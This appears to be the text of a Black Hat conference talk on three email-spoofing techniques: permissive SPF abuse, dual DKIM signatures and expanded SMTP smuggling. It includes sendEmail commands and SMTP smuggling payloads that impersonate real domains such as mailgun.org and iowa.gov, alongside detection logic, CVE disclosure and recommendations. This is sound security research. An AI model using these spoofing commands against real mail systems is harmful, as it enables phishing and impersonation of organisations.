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Ever been pranked?
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Crafting the ultimate Prank.
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Figuring out how to send an email
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Testing if this works
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DMARC all passes
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Executing the prank AS SEEN INATTACK PATTERN 2
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The Aftermath...
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Standing on the shoulders of giants

Reference: https://forum.defcon.org/node/245722
Reference: https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

§ SMTP Smuggling @ 37C3

§ Millions of domains affected

Timo Longin from  SEC Consult

§ SpamChannel @ DEFCON 31

§ Two million domains affected

Marcello "byt3bl33d3r" Salvati
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SPF / DKIM / DMARC
v SPF
q Verify Sender IP based on TXT record of domain via  MAIL FROM / HELO

v DKIM
q Verify email based on the added DKIM signature

v DMARC
q Tell email receivers on how to handle unauthenticated emails

q Verify SPF or  DKIM  based on the domain passed via FROM

q DMARC RFC 7489:  

Reference: https://www.rfc-editor.org/rfc/rfc7489.html

DMARC's filtering function is based on whether the RFC5322.From field domain is aligned with (matches) an authenticated domain name from SPF or DKIM.
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HELO a.com
MAIL FROM: <alice@a.com>
RCPT TO: <bob@b.com>Envelope
DATA

FROM: <alice@a.com>
TO: <bob@b.com>
Subject: Hello World

DKIM-Signature: v1; d=a.com;
h=Content

Message

Sample SMTP flow

SPF

DKIM

DMARC

Verify sender IP based on
MAIL FROM or HELO

Verify SPF OR DKIM based on FROM

Verify email based on DKIM

Reference: https://www.usenix.org/conference/usenixsecurity21/presentation/shen-kaiwen
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SPF / DKIM / DMARC
Q: Have you seen this before?

A: SPF and DKIM do not match the domain in the FROM field
q dkim=pass header.i=@a.com header.s=k1 header.b="KJCJ2k/N";

q spf= pass (xxx: domain of user@b.com designates xx.xx.xx.xx as permitted sender) smtp.mailfrom="user@b.com";

q dmarc=fail (p=QUARANTINE sp=NONE dis=QUARANTINE) header.from=c.com
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The players
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Iterate
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Attack Pattern: #1
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Example: spoof email from networksolutions.com
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What is spf.websitewelcome.com?

Reference: https://serverfault.com/questions/723911/setting-up-an-spf-record-for-a-shared-hosting-service-with-lots-of-email-gateway
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Allowed SPF IP ranges by HostGator
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Enable HostGator SMTP credentials 
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HostGator SMTP server is included in the master SPF
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Attack flow

SPF

DMARC

HELO victim.com
MAIL FROM:<admin@networksolutions.com>
RCPT TO: <bob@b.com>
DATA

Envelope

FROM: <admin@networksolutions.com>
TO: <bob@b.com>
Subject: Hello World

DKIM-Signature: v1; d=victim.com;h=Content

Message

Verify sender IP based on the SPF record of 
networksolutions.com

Verify SPF status for networksolutions.com
RFC 5322 Violation
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Send the email via utility

sendEmail -f admin@networksolutions.com
-xu $username
-xp $password
-t target@gmail.com
-u “Hello World"
-m "This is a test"
-s gator4208.hostgator.com:587

Reference: https://github.com/zehm/sendEmail

mailto:target@gmail.com
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Pattern 1 results

The majority did not have DMARC configured

6M
Domain Data Set

4.1M
Vulnerable Domains ~60%

Vulnerable 
Domains
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Pattern 1 results

6.8M
US Market

80M
Worldwide

~30%
Domain Vulnerability

?%
Domain Vulnerability
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Pattern 1: MAIL FROM + FROM + SPF abuse

Who is vulnerable?

Large domain registrar & email 
service & hosting providers
• CVE-2024-7208
• CVE-2024-7209

Attack pattern prerequisites?

q Email address is not verified from MAIL FROM field 
q Email address is not verified from FROM field 
q Victim domains include the overly permissive / master SPF records

What is the impact?

Spoof emails from 6M+ domains
Only 15% of the domains owned by two 
email and hosting providers were scanned.

Potentially affect any type of mailbox



#BHUSA @BlackHatEvents

Attack Pattern: #2
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Dual DKIM ?
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What is the Feedback Loop?

Reference: https://mailtrap.io/blog/email-feedback-loop/
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Gmail Feedback Loop requirement 

Reference: https://support.google.com/a/answer/6254652
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FROM + DKIM abuse

Domain
Verification DKIM
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Attack Flow: Spoof mailgun.org for Gmail mailbox 

DKIM

DMARC

HELO a.com
MAIL FROM: <alice@a.com>
RCPT TO: <bob@b.com>Envelope

DATA

FROM: <alice@mailgun.org>
TO: <bob@b.com>
Subject: Hello World

DKIM-Signature: v1; d=a.com;
DKIM-Signature: v1;d=mailgun.org;

Message

Verify DKIM status for mailgun.org

Signed DKIM email by sender mailgun.org

RFC 5322 Violation
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Generate some API keys
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Send the email via utility

sendEmail -f admin@mailgun.org
-xu $username
-xp $password
-t target@gmail.com
-u "Spoofed Email"
-m "This is a test"
-s smtp.mailgun.com:587

Reference: https://github.com/zehm/sendEmail

mailto:target@gmail.com
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Example: Spoof mailgun.org for Gmail mailbox 
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Spoofing root domains

*Dependent on how the FROM field is displayed in the inbox

sendinblue.com Mailgun.org

t-sender-sib.com
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Examples: Spoofing from Brevo

Private EmailOutlook Gmail

sendinblue.com sendinblue.com t-sender-sib.com



#BHUSA @BlackHatEvents

Pattern 2: FROM + DKIM abuse
Who is vulnerable?

Large email service providers, such as Brevo and 
Mailgun, who leverage Feedback Loop (FBL) feature 
of popular mailbox providers such as GMAIL, Outlook, 
and Yahoo Mail to collect users' complaints

• CVE-2024-7208

Attack pattern prerequisites?
q Email address is not verified from FROM field

q A DKIM signature is required by FBL for email sender

What is the impact?

Spoof emails from the sender 
DKIM domain used for FBL
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Attack Pattern: #3
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What is SMTP Smuggling? 
v Discovered by Timo Longin from SEC Consult Vulnerability Lab

v Abuse the difference of end-of-data sequence interpretation for outbound / inbound 
SMTP servers

Reference: https://smtpsmuggling.com/
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SMTP Smuggling impact
EHLO a.com \r\n
MAIL FROM: <alice@a.com> \r\n
RCPT TO: <bob@b.com> \r\n
DATA \r\n

Envelope

FROM: <alice@a.com> \r\n
TO: <bob@b.com> \r\n
Subject: Original Message \r\n
\r\n
\r.\r
MAIL FROM: <admin@a.com> \r\n
RCPT TO: <victim@b.com> \r\n
DATA  \r\n
FROM: <admin@a.com> \r\n
TO: <victim@b.com> \r\n
Subject: Smuggled Message \r\n
\r\n
\r\n.\r\n

Message

Smuggled SMTP 
Command & Message

SMTP Command

SMTP Smuggling
Payload

<CR>.<CR>

v Some email gateways are still 
vulnerable to SMTP 
Smuggling with default 
configuration.

v The impact could be expanded 
if the affected outbound SMTP 
server is allowed to send 
emails on behalf of many 
domains.
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Example: spoof email from iowa.gov

Reference: https://www.twilio.com/docs/sendgrid/ui/account-and-settings/spf-records
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Allowed SPF IP ranges by SendGrid
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Enable SendGrid SMTP credentials
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MAIL FROM:<admin@iowa.gov> \r\n
RCPT TO: <victim@b.com> \r\n
DATA \r\n
FROM: <admin@iowa.gov> \r\n
TO: <victim@b.com> \r\n
Subject: Smuggled Message \r\n
\r\n
\r\n.\r\n

Message

SendGrid Outbound SMTP

First attempt without SMTP Smuggling
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First attempt without SMTP Smuggling
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EHLO a.com \r\n
MAIL FROM: <alice@a.com> \r\n
RCPT TO: <bob@b.com> \r\n
DATA \r\n
FROM: <alice@a.com> \r\n
TO: <bob@b.com> \r\n
Subject: Original Message \r\n
\r\n

\r.\r
MAIL FROM:<admin@iowa.gov> \r\n
RCPT TO: <victim@b.com> \r\n
DATA \r\n
FROM: <admin@iowa.gov> \r\n
TO: <victim@b.com> \r\n
Subject: Smuggled Message \r\n
\r\n
\r\n.\r\n

Message

Smuggled SMTP
Command  and

Message

SMTP Smuggling
Payload

<CR>.<CR>

SendGrid Outbound SMTP

MAIL FROM: <alice@a.com> \r\n
RCPT TO: <bob@b.com> \r\n
DATA \r\n
FROM: <alice@a.com> \r\n
TO: <bob@b.com> \r\n
Subject: Original Message \r\n
\r\n
\r\n.\r\n

Original

Message

MAIL FROM:<admin@iowa.gov> \r\n
RCPT TO: <victim@b.com> \r\n
DATA \r\n
FROM: <admin@iowa.gov> \r\n
TO: <victim@b.com> \r\n
Subject: Smuggled Message \r\n
\r\n
\r\n.\r\n

Smuggled 
Message

Vulnerable Inbound SMTP

RFC 5322 Violation



#BHUSA @BlackHatEvents

Deliver spoofed emails to vulnerable email gateway users
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Pattern 3 results
Nearly 1 Million high-reputation domains vulnerable

130K
Domains

790K
Domains

40K
Domains
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v With the default option “CLEAN” selected
q Replace all bare CR and LF characters the CRLF sequence.

v With the option “REJECT” selected
q Reject message containing bare CR or LF characters 

v With the option “ALLOW” selected (Deprecated)
q Allows the message without converting bare CR or LF characters 

Cisco adds new functionality that helps to flag messages with invalid end-of-message 
sequence by adding a new email header around May 2024
X-Ironport-Invalid-End-Of-Message Extension Header (X-Header)

Cisco Secure Email (Cloud) Gateway issue

Clean RejectVS

Reference: https://smtpsmuggling.com/



#BHUSA @BlackHatEvents

Pattern 3: Expanded SMTP Smuggling abuse

Attack pattern prerequisites?
Find the right pair of outbound and inbound SMTP servers
v Outbound SMTP servers that do not filter special end-of-data sequence
v Inbound SMTP servers that accept special end-of-data sequence

What is the impact?

Spoof emails close to 1M+ high-
reputation domains

(including domains configured with proper SPF and DMARC)

Who is vulnerable?

Sender: large email and web hosting providers with misconfigured outbound SMTP servers such as SendGrid, 
SparkPost, MailTrap, and Fastmail.

Receiver: organizations using outdated / misconfigured inbound SMTP servers such as Cisco Secure Email Gateway 
and Fastmail
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How can we detect this? 
Email Message Id RFC-2822
v For email, the Message-ID is an identifier that your mail server adds when it sends your email. It can look 

something like this

"Message-ID: <CAKBqNfyKo+ZXtkz6DUAHw6FjmsDjWDB-pvHkJy6kwO82jTbkNA@mail.gmail.com>"

v The data after the @ symbol generally refers to the server sending the email to the world, and the string 
before the @ symbol is the unique identifier.

Recommendations For Logging:

v We would recommend logging Email Message-IDs alongside any trace data, or various email security 
checks (DKIM, SPF, DMARC etc.)

v For Detection we focus on the characteristics of an external sender with external & internal Message-IDs. 
The Message-IDs are the core focus for detection.
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Detection logic
1. External Sender, with an external Message-ID
2. Sending multiple emails within minutes

3. After the original email with the external Message-ID, another email is present from the 
same sender but with an internal mail server as the Message-ID.

External Internal
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DNS Data Analytics 
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Methodology
v Sticker shock set in…
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We'll build our own data set
v With DMARC and SPF records

v ChatGPT, write me a program...

v Results in millions of domains with millions 
of results

v Parse some JSON
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Better way to do this?
v Acquire ASN and IP blocks

v Match them

v Do an MX record lookup on all of them

v Import the data

v Build a Kibana and Nifi cluster to query them all

Data
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Disclosure
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Does abuse@company.com work?
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But sometimes things take a while
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Disclosure timeline

Apr 23-30 May 28 Jul 18 Jul 23 Jul 30Jul 29 Aug 7

Notified affected 
vendors

Coordination with 
US-CERT

Dark Reading Blog

US-CERT 
Disclosure Deadline

CVE Assignment

US-CERT Blog

We are Here

2024

US CERT Coordination

50+
Vendors

CVE-2024-7208 CVE-2024-7209

Reference: https://kb.cert.org/vuls/id/244112
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Recommendations
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Follow the RFC
SPF / DKIM / DMARC

RFC 5322 Section 3.6.2

In all cases, the "From:" field 
SHOULD NOT contain any 
mailbox that does not belong to 
the author(s) of the message

RFC 7489 Section 4.2

DMARC's filtering function is 
based on whether the 
RFC5322.From field
domain is aligned with (matches) 

an authenticated domain name 
from SPF or DKIM.

It is important to note that the 
authentication mechanisms 
employed by DMARC 
authenticate only a DNS domain 
and do not authenticate the local-
part of any email address 
identifier found in a message…

RFC 7208 Section 11.4

It is up to mail services and their 
MTAs to directly prevent cross-
user forgery: based on SMTP 
AUTH ([RFC4954]), users MUST 
be restricted to using only those 
email addresses that are under 
their control...

RFC 6409 Section 6.1

The MSA MAY issue an error 
response to a RCPT command if 
inconsistent with the permissions 
given to the user (if the session 
has been authenticated)
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Follow the RFC
SMTP Smuggling

RFC 2822 Section 4

Obsolete Syntax
\x0 NUL character usage

RFC 5321 4.1.1.4

.. the sequence "<LF>.<LF>" (bare 
line feeds, without carriage returns) 
MUST NOT be treated as equivalent 
to <CRLF>.<CRLF> as the end of 
mail data indication.

RFC 5322 Section 2.3

CR and LF MUST only occur 
together as CRLF; they MUST NOT
appear independently in the body.
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Black Hat Sound Bytes
v Enforce DMARC, DKIM, and SPF: Despite potential bypass techniques, implementing 

these controls is crucial for verifying email authenticity and reducing phishing and 
spoofing risks.

v Utilize Advanced Email Filtering: Employ heuristic and content-based email filtering 
solutions alongside DMARC, DKIM, and SPF validation to more effectively identify and 
block spoofing and phishing emails.

v Adhere to RFC Standards: All email service providers should enforce RFC standards
for authentication and authorization by preventing unauthorized email sending and 
verifying email authenticity.



#BHUSA @BlackHatEvents

Questions?
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